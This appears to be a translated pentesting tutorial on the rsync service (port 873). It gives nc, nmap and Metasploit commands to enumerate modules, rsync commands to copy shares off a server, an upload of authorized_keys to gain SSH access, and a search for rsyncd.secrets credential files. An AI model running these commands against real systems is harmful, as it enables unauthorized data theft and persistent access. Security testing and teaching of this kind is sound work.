873 - Pentesting Rsync
基本信息
来自 维基百科:
rsync 是一种用于在计算机和外部硬盘驱动器之间以及跨网络计算机之间高效 传输 和 同步 文件 的实用程序,通过比较文件的 修改时间 和大小来实现。[3] 它通常在 类 Unix 操作系统 上找到。rsync 算法是一种 增量编码 类型,用于最小化网络使用。Zlib 可用于额外的 数据压缩,[3] 并且可以使用 SSH 或 stunnel 来提供安全性。
默认端口: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
枚举
横幅 & 手动通信
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
枚举共享文件夹
Rsync模块 被识别为可能受密码保护的 目录共享。为了识别可用模块并检查它们是否需要密码,使用以下命令:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
请注意,某些共享可能不会出现在列表中,可能被隐藏。此外,访问某些共享可能会受到特定凭据限制,这会显示**"拒绝访问"**消息。
手动使用 Rsync
在获取模块列表后,操作取决于是否需要身份验证。没有身份验证时,通过以下方式可以从共享文件夹列出和复制文件到本地目录:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
这个过程递归传输文件,保留它们的属性和权限。
使用凭据,可以按以下方式列出共享文件夹并下载文件,会出现密码提示:
rsync -av --list-only rsync://[email protected]/shared_name
rsync -av rsync://[email protected]:8730/shared_name ./rsyn_shared
要上传内容,比如一个用于访问的_authorized_keys_文件,请使用:
rsync -av home_user/.ssh/ rsync://[email protected]/home_user/.ssh
POST
要定位rsyncd配置文件,请执行:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
参考资料
最后更新于